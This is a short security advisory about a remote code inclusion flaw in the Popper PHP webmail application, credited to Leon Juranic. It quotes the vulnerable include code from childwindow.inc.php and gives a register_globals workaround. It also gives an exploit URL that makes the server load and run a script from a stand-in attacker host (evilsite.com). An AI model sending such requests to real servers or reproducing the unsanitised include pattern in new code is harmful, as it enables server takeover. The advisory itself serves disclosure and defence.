[UNIX] Popper Webmail Code Execution

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  Popper Webmail Code Execution
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SUMMARY

"Popper is a webmail application written in PHP that allows users to read 
and send their e-mail messages using a web browser."

Popper is vulnerable to remote code inclusion bug in its PHP script that 
can be abused by malicious attackers to cause the PHP enviroment to 
execute arbitrary code.

DETAILS

Vulnerable Systems:
 * Popper webmail version 1.41-r2 and prior

Vulnerable code in childwindow.inc.php:
.
<?php
                if(file_exists($form.".toolbar.inc.php")) {
                        include($form.".toolbar.inc.php");
                }
?>
.
.
<?php include($form.".form.inc.php");?>
.

Vulnerability can be exploited only if register_globals in php.ini file is 
set to 'on'. To exploit this vulnerability, attacker has to put script 
like test.form.inc.php  on www.evilsite.com HTTP server, and call URL 
like:
http://www.vulnsite.com/popper/childwindow.inc.php?form=http://evilsite.com/test

Workaround:
Set register_globals to off.


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> Leon 
Juranic.
The original article can be found at:  
<http://security.lss.hr/index.php?page=details&ID=LSS-2005-06-07> 
http://security.lss.hr/index.php?page=details&ID=LSS-2005-06-07



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